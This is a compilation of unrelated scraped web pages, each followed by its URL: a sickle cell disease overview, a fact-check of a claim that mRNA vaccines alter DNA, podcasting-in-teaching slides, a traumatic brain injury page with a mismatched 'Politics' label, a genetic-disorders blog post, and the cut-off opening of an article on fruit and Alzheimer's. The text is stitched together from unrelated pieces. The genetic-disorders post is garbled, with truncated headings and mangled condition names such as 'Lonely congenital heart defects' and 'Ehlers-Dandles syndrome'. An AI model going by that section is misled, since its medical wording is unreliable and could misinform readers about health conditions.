Pneumococcal sepsis continues to be a major cause of death in infants in some countries. Parvovirus B19 infection causes aplastic crises. SCD originated in West Africa, where it has the highest prevalence. It is also present to a lesser extent in India and the Mediterranean region. DNA polymorphism of the beta S gene suggests that it arose from five separate mutations: four in Africa and one in India and the Middle East. The most common of these is an allele found in Benin in West Africa. The other haplotypes are found in Senegal and Bantu, Africa, as well as in India and the Middle East. The HbS gene, when present in homozygous form, is an undesirable mutation, so a selective advantage in the heterozygous form must account for its high prevalence and persistence. Malaria is possibly the selecting agent because a concordance exists between the prevalence of malaria and Hb S. Sickling might protect a person from malaria by either (1) accelerating sickling so that parasitized cells are removed or (2) making it more difficult for the parasite to metabolize or to enter the sickled cell. While children with sickle cell trait Hb SA seem to have a milder form of falciparum malaria, those with homozygous Hb S have a severe form that is associated with a very high mortality rate. The sickling process that prompts a crisis may be precipitated by multiple factors. Local tissue hypoxia, dehydration secondary to a viral illness, or nausea and vomiting, all of which lead to hypertonicity of the plasma, may induce sickling. Any event that can lead to acidosis, such as infection or extreme dehydration, can cause sickling. More benign factors and environmental changes, such as fatigue, exposure to cold, and psychosocial stress, can elicit the sickling process. A specific cause is often not identified. Vaso-occlusive crises are often precipitated by the following: Cold weather (due to vasospasm) Hypoxia (eg, flying in unpressurized aircraft) Dehydration (especially from exertion or during warm weather) Data also suggest a role for exertional stress, particularly when compounded with heat and hypovolemia. Aplastic crises are often preceded by the following: Infection with parvovirus B19 Folic acid deficiency Ingestion of bone marrow toxins (eg, phenylbutazone) Acute chest syndrome has been linked to the following: SCD is present mostly in blacks. It also is found, with much less frequency, in eastern Mediterranean and Middle East populations. Individuals of Central African Republic descent are at an increased risk for overt renal failure. United States statistics The sickle gene is present in approximately 8% of black Americans. The expected prevalence of sickle cell anemia in the United States is 1 in 625 persons at birth. The actual prevalence is less because of early mortality. More than 2 million people in the United States, nearly all of them of African American ancestry, carry the sickle gene. More than 30,000 patients have homozygous HbS disease. The following statistics are available from the Centers for Disease Control and Prevention and the National Institutes of Health [16, 17] : Sickle cell anemia is the most common inherited blood disorder in the United States In the United States, approximately 100,000 people have SCD SCD occurs in about 1 out of every 365 Black or African-American births SCD occurs in about 1 of every 16,300 Hispanic-American births Approximately 1 in 13 Blacks or African Americans has sickle cell trait Risk of chronic kidney disease (CKD) is increased in SCD, with one study showing an almost 30% prevalence of baseline CKD in a cohort with mean age 31.6 years, increasing to 41.8% over 5 years. Among US sickle cell trait carriers of African or Hispanic ancestry, the risk of CKD is about 1.5-2–fold higher than in noncarriers. The prevalence of sickle cell trait is twice as high in African Americans with end-stage renal disease compared with the general African-American population (15% versus 7%, P < 0.001). Certain gene variants have been linked with increased risk of kidney disease in SCD. In particular, patients who carry APOL1 G1 and G2 risk variants (which confer protection against trypanosomiasis) have a 7-fold higher risk of CKD progression and a 7-30–fold greater risk of kidney failure. In several sections of Africa, the prevalence of sickle cell trait (heterozygosity) is as high as 30%. Although the disease is most frequently found in sub-Saharan Africa, it is also found in some parts of Sicily, Greece, southern Turkey, and India, all of which have areas in which malaria is endemic. The mutation that results in HbS is believed to have originated in several locations in Africa and India. Its prevalence varies but is high in these countries because of the survival advantage to heterozygotes in regions of endemic malaria. As a result of migration, both forced and voluntary, it is now found worldwide. The male-to-female ratio is 1:1. No sex predilection exists, since sickle cell anemia is not an X-linked disease. Although no particular gender predilection has been shown in most series, analysis of the data from the US Renal Data System demonstrated marked male predominance of sickle cell nephropathy in affected patients. Clinical characteristics at different ages Although hematologic changes indicative of the disorder are evident as early as the age of 10 weeks, clinical characteristics of SCD generally do not appear until the second half of the first year of life, when fetal Hb levels decline sufficiently for abnormalities caused by HbS to manifest. SCD then persists for the entire lifespan. After age 10 years, rates of painful crises decrease, but rates of complications increase. The median age at the time of renal failure in patients with SCD is 23.1 years, the median survival time after the diagnosis of ESRD is about 4 years, and the median age of death is 27 years, despite dialysis treatment. Because SCD is a lifelong disease, prognosis is guarded. The goal is to achieve a normal life span with minimal morbidity. As therapy improves, the prognosis also improves. Morbidity is highly variable in patients with SCD, partly depending on the level of HbF. Nearly all individuals with the condition are affected to some degree and experience multiple organ system involvement. Patients with Hb SA are heterozygous carriers and essentially are asymptomatic. Vaso-occlusive crisis and chronic pain are associated with considerable economic loss and disability. Repeated infarction of joints, bones, and growth plates leads to aseptic necrosis, especially in weightbearing areas such as the femur. This complication is associated with chronic pain and disability and may require changes in employment and lifestyle. Prognostic factors in SCD The following prognostic factors have been identified as predictors of an adverse outcome : Hand-foot syndrome (dactylitis) in infants younger than 1 year Hb level of less than 7 g/dL Leukocytosis in the absence of infection Hand-foot syndrome, which affects children younger than 5 years, has proved a strong predictor of overall severity (ie, death, risk of stroke, high pain rate, recurrent acute chest syndrome). Those that have an episode before age 1 year are at high risk of a severe clinical course. The risk is further increased if the child's baseline hemoglobin level is less than 7 g/dL or the baseline WBC count is elevated. Pregnancy in SCD Pregnancy represents a special area of concern. The high rate of fetal loss is due to spontaneous abortion. Placenta previa and abruption are common due to hypoxia and placental infarction. At birth, the infant often is premature or has low birth weight. Mortality in SCD Mortality is high, especially in the early childhood years. Since the introduction of widespread penicillin prophylaxis and pneumococcal vaccination, a marked reduction has been observed in childhood deaths. The leading cause of death is acute chest syndrome. Children have a higher incidence of acute chest syndrome but a lower mortality rate than adults; the overall death rate from acute chest syndrome is 1.8% and 4 times higher in adults than in children. Causes of death are pulmonary embolism and infection. In the Dallas newborn cohort, estimated survival at 18 years was 94%. In a recent neonatal United Kingdom cohort followed in a hospital and community-based program including modern therapy with transcranial Doppler ultrasonography (TCD) screening, the estimated survival of HbSS children at 16 years was 99%. Data from the 1995 cooperative study of SCD (CSSCD) suggested that the median survival for individuals with SCD was 48 years for women and 42 years for men. This life expectancy was considerably lower than that for African Americans who do not have SCD. In Africa, available mortality data are sporadic and incomplete. Many children are not diagnosed, especially in rural areas, and death is often attributed to malaria or other comorbid conditions. Data from Quinn et al in 2004 suggest that mortality from SCD has improved over the past 30 years. In earlier reports, approximately 50% of patients did not survive beyond age 20 years, and most did not survive to age 50 years. In one study, the median survival time in patients with SCD after the diagnosis of ESRD was about 4 years, and the median age of death after diagnosis was 27 years, despite dialysis treatment. The cooperative study of SCD (CSSCD) estimated that the median survival for individuals with SS was 48 years for women and 42 years for men. In the Dallas newborn cohort, estimated survival at 18 years was 94%. In a recent neonatal United Kingdom cohort followed in a hospital and community-based program including modern therapy with TCD screening, the estimated survival of HbSS children at 16 years was 99%. This significant increase in life expectancy and survival of patients with SCD has been achieved thanks to early detection and introduction of disease-modifying therapies. Neonatal screening, penicillin prophylaxis for children, pneumococcal immunization, red cell transfusion for selected patients and chelation therapy, hydroxyurea therapy, parental and patient education and, above all, treatment in comprehensive centers have all likely contributed to this effect on longevity. However, as the population of patients with SCD grows older, new chronic complications are appearing. Pulmonary hypertension is emerging as a relatively common complication and is one of the leading causes of morbidity and mortality in adults with SCD. A study of 398 outpatients with SCD in France found that the prevalence of pulmonary hypertension confirmed by right heart catheterization was 6%; echocardiography alone had a low positive predictive value for pulmonary hypertension. Patients must be educated about the nature of their disease. They must be able to recognize the earliest signs of a vaso-occlusive crisis and seek help, treat all febrile illness promptly, and identify environmental hazards that may precipitate a crisis. Reinforcement should occur incrementally during the course of ongoing care. Patients or parents should be instructed on how to palpate the abdomen to detect splenic enlargement, and the importance of observation for pallor, jaundice, and fever. Teach patients to seek medical care in certain situations, including the following: Persistent fever (>38.3°C) Chest pain, shortness of breath, nausea, and vomiting Abdominal pain with nausea and vomiting Persistent headache not experienced previously Patients should avoid the following: Nonprescribed prescription drugs Cigarettes, marijuana, and cocaine Seeking care in multiple institutions Families should be educated on the importance of hydration, diet, outpatient medications, and immunization protocol. Emphasize the importance of prophylactic penicillin. Patients on hydroxyurea must be educated on the importance of regular follow-up with blood counts. Patients (including asymptomatic heterozygous carriers) should understand the genetic basis of the disease, be educated about prenatal diagnosis, and know that genetic counseling is available. Genetic testing can identify parents at risk for having a child with sickle cell disease. If both parents have the sickle cell trait, the chance that a child will have sickle cell disease is 25%. If one parent is carrying the trait and the other actually has disease, the odds increase to 50% that their child will inherit the disease. Screening and genetic counseling theoretically have the potential to drastically reduce the prevalence of SCD. This promise has not been realized. Some authors have recommended emergency department screening or referral for patients unaware of their status as a possible heterozygote. Families should be encouraged to contact community sickle cell agencies for follow-up information, new drug protocols, and psychosocial support. Families should also follow the advances of gene therapy, bone marrow transplantation, and the usage of cord blood stem cells. For patient education information, see Sickle Cell Disease. In addition, the Centers for Disease Control and Prevention offers a range of patient-centered materials and multimedia on SCD. - Approach Considerations - Baseline Blood Study Abnormalities - Suggested Routine Clinical Laboratory Evaluations - Laboratory Studies in the Ill Child - Additional Tests - Magnetic Resonance Imaging - Nuclear Medicine Scans - Transcranial Doppler Ultrasonography - Abdominal Ultrasonography - Show All - Approach Considerations - Hydroxyurea Therapy - Management of Ophthalmic Manifestations - Vaso-Occlusive Crisis Management - Control of Acute Pain - Treatment of Acute Chest Syndrome - Control of Chronic Pain - Management of Chronic Anemia - Prevention and Treatment of Infections - Treatment of Gallstones - Treatment of Priapism - Treatment of Leg Ulcers - Stroke Prevention - Treatment of Pulmonary Hypertension - Sickle Cell Nephropathy - Treatment of Other Complications - Gene Therapy - Stem Cell Transplantation - Diet and Activity Restrictions - Investigational Treatments - Long-Term Monitoring - Show All - Medication Summary - Hemoglobin Oxygen-Affinity Modulators - P-Selectin Inhibitor - Gene Therapies, Hematologics - Opioid Analgesics - Nonsteroidal Analgesics - Tricyclic Antidepressants - Phosphodiesterase Type 5 Inhibitors - Endothelin Receptor Antagonists - Iron Chelators - Adrenergic Agonists - Show All - Questions & Answers

http://emedicine.medscape.com/article/778971-overviewAs

Health

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This is AI generated summarization, which may have errors. For context, always refer to the full article. At a glance: - Claim: Moderna’s mRNA COVID-19 vaccine can alter human DNA. - Rating: FALSE - The facts: RNA vaccines do not alter DNA. The messenger RNA from the vaccine is eventually destroyed by the body’s cells after they read its sequence. - Why we fact checked this: This was flagged by Facebook’s Claim Check tool as potentially misleading. Osteopathic internal medicine physician Carrie Madej claims that the COVID-19 vaccine developed by the biotechnology company Moderna can alter human DNA. Madej made this claim in a video by the website “Stop World Control.” The video was posted on Facebook by user Robert Denis on November 19, 2020. This was flagged by Facebook’s Claim Check tool as potentially misleading. This claim is false. RNA vaccines, which are the kind Moderna is developing, cannot alter DNA. RNA vaccines work by providing the body with the genetic code it needs to produce antigens against a certain pathogen. When the antigen appears outside one’s cells, the body’s immune system attacks them and learns how to defeat similar antigens in the future. Moderna’s vaccine introduces messenger RNA (mRNA) into the body. Cells in the body read the mRNA sequence to build spike proteins, similar to those that the SARS-CoV-2 virus uses to enter human cells. The mRNA from the vaccine is eventually destroyed by the cell. A March 2019 review article published in the journal Frontiers in Immunology about advances in mRNA vaccines said that they were “safe and tolerated in animal models and humans.” It did not warn against any potential harm to DNA. A January 2018 review published in the journal Nature said that mRNA vaccines were “considered a relatively safe vaccine format” because the risk of infection or integration of the virus into the host cell DNA was not a concern. Manufacturing mRNA vaccines are also considered safer than manufacturing other vaccine platforms. There is also no indication that Moderna’s vaccine will be administered using hyrdogels, as Madej claimed in the video. Reports by Moderna on their ongoing study clearly state that the vaccine is administered with two injections given 28 days apart. Rappler has previously fact checked a similar claim that said Bill Gates admitted that the COVID-19 vaccine could permanently alter human DNA. This is also not true. – Vernise Tantuco/Rappler.com Keep us aware of suspicious Facebook pages, groups, accounts, websites, articles, or photos in your network by contacting us at [email protected]. Let us battle disinformation oneFact Check at a time. How does this make you feel? There are no comments yet. Add your comment to start the conversation.

https://www.rappler.com/newsbreak/fact-check/covid-19-vaccine-modify-dna

Education

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This document discusses using podcasting in teaching and learning. It defines podcasting and how to create podcasts. It provides examples of how podcasting has been used in higher education, including distributing lecture recordings, supplemental educational materials, and having students create their own podcasts. It also discusses factors to consider for using podcasts, such as their effectiveness as a primary delivery method versus supplemental material and how they can be designed to promote active learning. 1 of 21 More Related Content Using Podcasting in Teaching and Learning 1. Using Podcasting in Teaching and Learning e-learning Summer Seminar Series 2008 Andy Ramsden & Lindsay Jordan Slideshare.net: eatbath-present08 All material and post session discussion: www.tasterseries.wordpress.com 2. key questions What is podcasting? How would I podcast material at the University of Bath? What does podcasting add to the teaching and learning experience? What should my next steps be if I wanted to start podcasting? 10. definitions Technical Podcasting entails audio content that is delivered via an RSS feed presenting a downloadable or streaming file (often mp3). www.rsstoolchest.com/rss-glossary.html Functional The term podcast, like "radio", can mean both the content and the method of delivery. Podcasters' websites also may offer direct download of their files, but the subscription feed of automatically delivered new content is what distinguishes a podcast from a simple download or real-time streaming. Usually, the podcast features one type of "show" with new episodes either sporadically or at planned intervals such as daily, weekly, etc. http://en.wikipedia.org/wiki/Podcasting 11. How do I podcast? Publisher Create the file (mp3, ogg, mp4) using the appropriate tool (audacity, camtasia) Publish on the web (LMF, blog, or podcast services) Subscriber (the listener) Install podcatcher software (Juice, iTunes, PocketRSS) Add the rss feed address as a subscription Listen / watch the file 12. the subscriber using Juice to subscribe to e-learning at Bath podcast ( www.bath.ac.uk/lmf/group/rss/7798) 13. the publisher Tips on effective podcasting http://podcastingforpp.pbwiki.com/Resources Upload to the Learning Materials Filestore http://www.bath.ac.uk/lmf/welcome “ how might you use podcasting in your teaching and learning?” 14. How has podcasting been used in teaching and learning within Higher Education in the UK? Distribution of lecture archives for review Delivery of supplemental educational materials and content Assignments requiring students to produce and submit their own podcasts. 16. Podcasting Lectures Useful for revision “ it helps me to make sense of my notes” “ I can’t take notes” “ I get things I didn’t understand the first time” Will students stay at home? “ I’m not disciplined enough to just sit and listen for 2 hours…” “ having the podcast would be reassuring if for some reason I couldn’t attend the lecture…” “… but I wouldn’t be able to ask questions or discuss anything…” “… and what if I just didn’t get it?” “… but I could speed up the playback” “ you could delay the release of the podcast” Does it matter? “ not if the lecture provides opportunities for discussion and interactivity” 17. Podcasting Lectures Useful for revision “ it helps me to make sense of my notes” “ I can’t take notes” “ I get things I didn’t understand the first time” Will students stay at home? “ I’m not disciplined enough to just sit and listen for 2 hours…” “ having the podcast would be reassuring if for some reason I couldn’t attend the lecture…” “… but I wouldn’t be able to ask questions or discuss anything…” “… and what if I just didn’t get it?” “… but I could speed up the playback” “ you could delay the release of the podcast” Does it matter? “ not if the lecture provides opportunities for discussion and interactivity” 18. Supplementary Podcasts address challenging topics in advance present guest lecturers Field trips & Excursions Audio newsletters video or image-enhanced podcasts to demonstrate field techniques - example informative commentary to accompany points of interest topical news items or new research feedback on week’s activities prepare & enthuse students for group discussion interviews with experts Language & Skill learning 19. Student-created Podcasts Creating study aids for classmates Assessment Stimulating in-class discussion Students collect audio and/or visual evidence of their learning, e.g. during fieldwork Interviews with professionals, academics or experts lecture summaries instructions for using particular instruments and procedures Presenting own point of view 20. Podcasting: A Teaching with Technology White Paper, June 4, 2007. "Podcasting does not contain any inherent value. It is only valuable inasmuch as it helps the instructor and students reach their educational goals, by facilitating thoughtful, engaging learning activities that are designed to work in support of those goals." 21. Thank you, questions and other events Material and online discussion: www.tasterseries.wordpress.com Next event: Encouraging online collaboration through wikis – Thursday 22 nd May. Twitter updates: eatbath Podcasts: www.bath.ac.uk/lmf/group/rss/7798 Email: [email protected]

http://www.slideshare.net/andyramsden/sss1-podcasting-08

Politics

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Traumatic brain injury usually results from a violent blow or jolt to the head or body. An object that goes through brain tissue, such as a bullet or shattered piece of skull, also can cause traumatic brain injury. Mild traumatic brain injury may affect your brain cells temporarily. More-serious traumatic brain injury can result in bruising, torn tissues, bleeding and other physical damage to the brain. These injuries can result in long-term complications or death. Traumatic brain injury can have wide-ranging physical and psychological effects. Some signs or symptoms may appear immediately after the traumatic event, while others may appear days or weeks later. Mild traumatic brain injury The signs and symptoms of mild traumatic brain injury may include: - Physical symptoms - Nausea or vomiting - Fatigue or drowsiness - Problems with speech - Dizziness or loss of balance - Sensory symptoms - Sensory problems, such as blurred vision, ringing in the ears, a bad taste in the mouth or changes in the ability to smell - Sensitivity to light or sound - Cognitive, behavioral or mental symptoms - Loss of consciousness for a few seconds to a few minutes - No loss of consciousness, but a state of being dazed, confused or disoriented - Memory or concentration problems - Mood changes or mood swings - Feeling depressed or anxious - Difficulty sleeping - Sleeping more than usual Moderate to severe traumatic brain injuries Moderate to severe traumatic brain injuries can include any of the signs and symptoms of mild injury, as well as these symptoms that may appear within the first hours to days after a head injury: - Physical symptoms - Loss of consciousness from several minutes to hours - Persistent headache or headache that worsens - Repeated vomiting or nausea - Convulsions or seizures - Dilation of one or both pupils of the eyes - Clear fluids draining from the nose or ears - Inability to awaken from sleep - Weakness or numbness in fingers and toes - Loss of coordination - Cognitive or mental symptoms - Profound confusion - Agitation, combativeness or other unusual behavior - Slurred speech - Coma and other disorders of consciousness Infants and young children with brain injuries might not be able to communicate headaches, sensory problems, confusion and similar symptoms. In a child with traumatic brain injury, you may observe: - Change in eating or nursing habits - Unusual or easy irritability - Persistent crying and inability to be consoled - Change in ability to pay attention - Change in sleep habits - Sad or depressed mood - Loss of interest in favorite toys or activities When to see a doctor Always see your doctor if you or your child has received a blow to the head or body that concerns you or causes behavioral changes. Seek emergency medical care if there are any signs or symptoms of traumatic brain injury following a recent blow or other traumatic injury to the head. The terms "mild," "moderate" and "severe" are used to describe the effect of the injury on brain function. A mild injury to the brain is still a serious injury that requires prompt attention and an accurate diagnosis. Traumatic brain injury is usually caused by a blow or other traumatic injury to the head or body. The degree of damage can depend on several factors, including the nature of the injury and the force of impact. Common events causing traumatic brain injury include the following: - Falls. Falls from bed or a ladder, down stairs, in the bath, and other falls are the most common cause of traumatic brain injury overall, particularly in older adults and young children. - Vehicle-related collisions. Collisions involving cars, motorcycles or bicycles — and pedestrians involved in such accidents — are a common cause of traumatic brain injury. - Violence. Gunshot wounds, domestic violence, child abuse and other assaults are common causes. Shaken baby syndrome is a traumatic brain injury in infants caused by violent shaking. - Sports injuries. Traumatic brain injuries may be caused by injuries from a number of sports, including soccer, boxing, football, baseball, lacrosse, skateboarding, hockey, and other high-impact or extreme sports. These are particularly common in youth. Explosive blasts and other combat injuries. Explosive blasts are a common cause of traumatic brain injury in active-duty military personnel. Although how the damage occurs isn't yet well understood, many researchers believe that the pressure wave passing through the brain significantly disrupts brain function. Traumatic brain injury also results from penetrating wounds, severe blows to the head with shrapnel or debris, and falls or bodily collisions with objects following a blast. The people most at risk of traumatic brain injury include: - Children, especially newborns to 4-year-olds - Young adults, especially those between ages 15 and 24 - Adults age 60 and older - Males in any age group Several complications can occur immediately or soon after a traumatic brain injury. Severe injuries increase the risk of a greater number of and more-severe complications. Moderate to severe traumatic brain injury can result in prolonged or permanent changes in a person's state of consciousness, awareness or responsiveness. Different states of consciousness include: - Coma. A person in a coma is unconscious, unaware of anything and unable to respond to any stimulus. This results from widespread damage to all parts of the brain. After a few days to a few weeks, a person may emerge from a coma or enter a vegetative state. Vegetative state. Widespread damage to the brain can result in a vegetative state. Although the person is unaware of surroundings, he or she may open his or her eyes, make sounds, respond to reflexes, or move. It's possible that a vegetative state can become permanent, but often individuals progress to a minimally conscious state. - Minimally conscious state. A minimally conscious state is a condition of severely altered consciousness but with some signs of self-awareness or awareness of one's environment. It is sometimes a transitional state from a coma or vegetative condition to greater recovery. - Brain death. When there is no measurable activity in the brain and the brainstem, this is called brain death. In a person who has been declared brain dead, removal of breathing devices will result in cessation of breathing and eventual heart failure. Brain death is considered irreversible. - Seizures. Some people with traumatic brain injury will develop seizures. The seizures may occur only in the early stages, or years after the injury. Recurrent seizures are called post-traumatic epilepsy. - Fluid buildup in the brain (hydrocephalus). Cerebrospinal fluid may build up in the spaces in the brain (cerebral ventricles) of some people who have had traumatic brain injuries, causing increased pressure and swelling in the brain. - Infections. Skull fractures or penetrating wounds can tear the layers of protective tissues (meninges) that surround the brain. This can enable bacteria to enter the brain and cause infections. An infection of the meninges (meningitis) could spread to the rest of the nervous system if not treated. - Blood vessel damage. Several small or large blood vessels in the brain may be damaged in a traumatic brain injury. This damage could lead to a stroke, blood clots or other problems. - Headaches. Frequent headaches are very common after a traumatic brain injury. They may begin within a week after the injury and could persist for as long as several months. - Vertigo. Many people experience vertigo, a condition characterized by dizziness, after a traumatic brain injury. Sometimes, any or several of these symptoms might linger for a few weeks to a few months after a traumatic brain injury. When a combination of these symptoms lasts for an extended period of time, this is generally referred to as persistent post-concussive symptoms. Traumatic brain injuries at the base of the skull can cause nerve damage to the nerves that emerge directly from the brain (cranial nerves). Cranial nerve damage may result in: - Paralysis of facial muscles or losing sensation in the face - Loss of or altered sense of smell or taste - Loss of vision or double vision - Swallowing problems - Ringing in the ear - Hearing loss Many people who have had a significant brain injury will experience changes in their thinking (cognitive) skills. It may be more difficult to focus and take longer to process your thoughts. Traumatic brain injury can result in problems with many skills, including: - Cognitive problems - Attention or concentration - Executive functioning problems - Beginning or completing tasks Language and communications problems are common following traumatic brain injuries. These problems can cause frustration, conflict and misunderstanding for people with a traumatic brain injury, as well as family members, friends and care providers. Communication problems may include: - Difficulty understanding speech or writing - Difficulty speaking or writing - Inability to organize thoughts and ideas - Trouble following and participating in conversations Communication problems that affect social skills may include: - Trouble with turn taking or topic selection in conversations - Problems with changes in tone, pitch or emphasis to express emotions, attitudes or subtle differences in meaning - Difficulty understanding nonverbal signals - Trouble reading cues from listeners - Trouble starting or stopping conversations - Inability to use the muscles needed to form words (dysarthria) People who've experienced brain injury may experience changes in behaviors. These may include: - Difficulty with self-control - Lack of awareness of abilities - Risky behavior - Difficulty in social situations - Verbal or physical outbursts Emotional changes may include: - Mood swings - Lack of empathy for others Problems involving senses may include: - Persistent ringing in the ears - Difficulty recognizing objects - Impaired hand-eye coordination - Blind spots or double vision - A bitter taste, a bad smell or difficulty smelling - Skin tingling, pain or itching - Trouble with balance or dizziness Degenerative brain diseases The relationship between degenerative brain diseases and brain injuries is still unclear. But some research suggests that repeated or severe traumatic brain injuries might increase the risk of degenerative brain diseases. But this risk can't be predicted for an individual — and researchers are still investigating if, why and how traumatic brain injuries might be related to degenerative brain diseases. A degenerative brain disorder can cause gradual loss of brain functions, including: - Alzheimer's disease, which primarily causes the progressive loss of memory and other thinking skills - Parkinson's disease, a progressive condition that causes movement problems, such as tremors, rigidity and slow movements - Dementia pugilistica — most often associated with repetitive blows to the head in career boxing — which causes symptoms of dementia and movement problems Follow these tips to reduce the risk of brain injury: - Seat belts and airbags. Always wear a seat belt in a motor vehicle. A small child should always sit in the back seat of a car secured in a child safety seat or booster seat that is appropriate for his or her size and weight. - Alcohol and drug use. Don't drive under the influence of alcohol or drugs, including prescription medications that can impair the ability to drive. - Helmets. Wear a helmet while riding a bicycle, skateboard, motorcycle, snowmobile or all-terrain vehicle. Also wear appropriate head protection when playing baseball or contact sports, skiing, skating, snowboarding or riding a horse. - Pay attention to your surroundings. Don't drive, walk or cross the street while using your phone, tablet or any smart device. These distractions can lead to accidents or falls. The following tips can help older adults avoid falls around the house: - Install handrails in bathrooms - Put a nonslip mat in the bathtub or shower - Remove area rugs - Install handrails on both sides of staircases - Improve lighting in the home, especially around stairs - Keep stairs and floors clear of clutter - Get regular vision checkups - Get regular exercise Preventing head injuries in children The following tips can help children avoid head injuries: - Install safety gates at the top of a stairway - Keep stairs clear of clutter - Install window guards to prevent falls - Put a nonslip mat in the bathtub or shower - Use playgrounds that have shock-absorbing materials on the ground - Make sure area rugs are secure - Don't let children play on fire escapes or balconies Feb 04, 2021

https://www.mayoclinic.org/diseases-conditions/traumatic-brain-injury/symptoms-causes/syc-20378557

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When your genes are mutated, you can develop genetic disorders. Carrying the mutation does not always imply that you will develop a disease. Single-gene, multifactorial, and chromosomal disorders are among the many types. genetic disorders book are genetic disorders? When a mutation (a harmful change to a gene, also known as a pathogenic variant) affects your genes, or when you have the wrong amount of genetic material, you develop genetic disorders. DNA (deoxyribonucleic acid) is used to make genes, which contain instructions for cell function as well as the characteristics that distinguish you. genetic disorder awareness Each biological parent gives you half of your genes, and you may inherit a gene mutation from one or both of them. Sometimes genes change as a result of problems with the DNA (mutations). This can increase your chances of developing a genetic disorder. Some cause symptoms right after birth, while others appear later. The following are examples of genetic disorders: Chromosomal: This type affects the structures within each cell that hold your genes/DNA (chromosomes). People with these conditions have chromosome material that is missing or duplicated. (complex): These diseases are caused by a mix of genetic mutations and other factors. Chemical exposure, diet, certain medications, and tobacco or alcohol use are among them. (single-gene): A single gene mutation causes this group of are some of the most common genetic disorders? There are a variety of them. They are as follows: - Down syndrome (Trisomy 21) - Fragile X syndrome - Klinefelter syndrome - Triple-X syndrome - Turner syndrome - Trisomy 18 - Trisomy 13 - Late-onset Alzheimer’s disease - alzheimers disease diagnosis and treatment guide - Autism spectrum disorder - Coronary artery disease - Migraine headaches - Spine bifida - Lonely congenital heart defects - Cystic fibrosis - Deafness in birth (congenital) - Duchenne muscular dystrophy - Family hypercholesterolemia, a high cholesterol disease - Hemochromatosis (iron surplus) - Neurofibromatosis type 1 (NF1) - Sickle cell disease - Tay-Sachs disease there a wide range of genetic disorders? Rare diseases can be caused by genetic disorders. In the United States, this group of diseases affects fewer than 200,000 people. Experts estimate that there could be as many as 7,000 of these diseases. The following are examples of rare genetic disorders: - AA amyloidosis - Adrenoleukodystrophy (ALD) - Ehlers-Dandles syndrome - Mitochondrial diseases - Usher syndrome What factors contribute to the occurrence of genetic It's helpful to learn more about how your genes and DNA work in order to understand the causes of genetic disorders. The majority of the DNA in your genes tells your body how to make proteins. These proteins initiate complex cell interactions that aid in maintaining your health. When a mutation occurs, it affects the instructions for making proteins in the genes. It's possible that some proteins are missing. Or the ones you already have aren't working properly. The following are examples of environmental factors (also known as mutagens) that can cause a genetic - Exposed to chemicals - Exposure to radiation - The sun's ultraviolet rays are the signs and symptoms of genetic conditions? Symptoms vary depending on the disorder, the organs affected, and the severity of the condition. You might have the following symptoms: - Changes in behavior or disturbances. - Breathing difficulties. - When the brain is unable to process information as it should, it is said to have cognitive deficits. - Delays in development, such as difficulties with speech or social skills. - Issues with eating and digestion, such as difficulty swallowing or nutrient processing. - Missing fingers or a cleft lip and palate are examples of limb or facial anomalies. - Muscle stiffness or weakness causes movement disorders. - Seizures or strokes are examples of neurological problems. - Short stature or poor growth. - Loss of vision or hearing DIAGNOSTIC ANALYSIS AND TESTS methods are used to identify genetic disorders? If you have a family history of a genetic disorder, you should seek genetic counseling to determine whether genetic testing is right for you. Typically, lab tests can reveal whether you have the gene mutations that cause that condition. Carrying the mutation does not always imply that you will develop the disease. Genetic counselors can explain your risk and whether there are any precautions you can take to safeguard your health. DNA testing for genetic disorders can be an important part of starting a family if there is a family history of genetic disorders. Among the possibilities are: of carriers: This blood test determines whether you or your partner has a genetic disorder-linked mutation. This is advised for anyone considering pregnancy, regardless of family history. during pregnancy: This testing usually entails taking blood from a pregnant woman to determine the likelihood of an unborn child having a common testing during pregnancy: You can find out if your unborn child is more susceptible to certain genetic disorders. A sample of womb fluid is used in prenatal testing (amniocentesis). examination: This test is performed on all babies born in Ohio and uses a sample of your newborn's blood. Early detection of genetic disorders can help your child receive timely treatment if necessary. TREATMENT AND MANAGEMENT the course of treatment for genetic disorders? The majority of genetic disorders are incurable. Some diseases have treatments that can help slow the progression of the disease or lessen its impact on your life. The best treatment for you is determined by the type and severity of your disease. We may not be able to provide treatment for others, but we can provide medical surveillance in the hopes of catching You might require: - Medications to relieve symptoms or chemotherapy to slow the growth of abnormal cells. - Nutritional counseling or dietary supplements may be used to assist you in obtaining the nutrients your body requires. - Physical, occupational, or speech therapy can help you reach your full potential. - Blood transfusions are used to replenish healthy blood cell levels. - Surgery to treat complications or repair abnormal structures. - Radiation therapy for cancer is an example of specialized treatment. - The procedure of replacing a nonfunctioning organ with one from a healthy donor is known as organ transplantation. can I do to avoid a genetic disorder? When it comes to genetic disorders, there is often little you can do to prevent them. Genetic counseling and testing, on the other hand, can assist you in learning more about your risk. It can also tell you if you're at risk of passing certain diseases on to your children. PROGNOSIS / OUTLOOK the prognosis for people suffering from genetic disorders? Some diseases, such as rare and congenital diseases, have a bleak prognosis. Anencephaly is a condition in which a child is born without a brain and survives for only a few days. Other conditions, such as a single cleft lip, have no effect on life expectancy. However, in order to remain comfortable, you may require regular, specialized care. LIVING IN CONNECTION What should I know about living with a genetic condition? When you have a genetic disorder, you may require medical attention on a regular basis. It's critical to see a doctor who specializes in the condition. They are more likely to know which treatments are most appropriate for your situation. You might also be able to benefit from the help of others. Local or national support groups for genetic disorders are common. These organizations can assist you in finding resources that will make your life easier. They might also host events where you can meet other families facing When a mutation in your genes or chromosomes causes a genetic disorder, it's called a genetic disorder. Some disorders have symptoms from the moment they are born, while others develop over time. Genetic testing can help you figure out how likely you are to develop a genetic disorder. If you or a loved one has a genetic disorder, it's critical to seek treatment from a qualified professional. Post a Comment

https://www.healthlifekit.com/2021/12/genetic-disorders-in-human-symptoms.html

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Alzheimer’s disease is one of the most feared and devastating neurological conditions, affecting millions of people globally. It’s a progressive disorder that destroys memory, thinking skills, and eventually the ability to carry out the simplest tasks. While researchers continue to search for a cure, prevention and risk reduction strategies are gaining significant attention. One fascinating area of study is the potential role that fruits play in preventing or reducing the risk of Alzheimer’s disease. Could a simple dietary habit, like eating more fruits, actually protect our brain health? Let’s explore this further. How Does Diet Support Brain Health? The food we consume influences more than just our waistlines; it plays a crucial role in our brain health too. For years, scientists have highlighted the connection between diet and cognitive function. Nutrient-rich foods, especially fruits, provide essential vitamins, minerals, and antioxidants that may help protect the brain against degenerative diseases like Alzheimer’s. One of the key theories is that oxidative stress and inflammation are significant contributors to Alzheimer’s disease. Fruits, loaded with antioxidants, can help combat oxidative stress, potentially reducing the risk of Alzheimer’s. Antioxidants neutralize harmful free radicals, which are unstable molecules that can damage brain cells and trigger inflammation, both of which are believed to be key players in Alzheimer’s 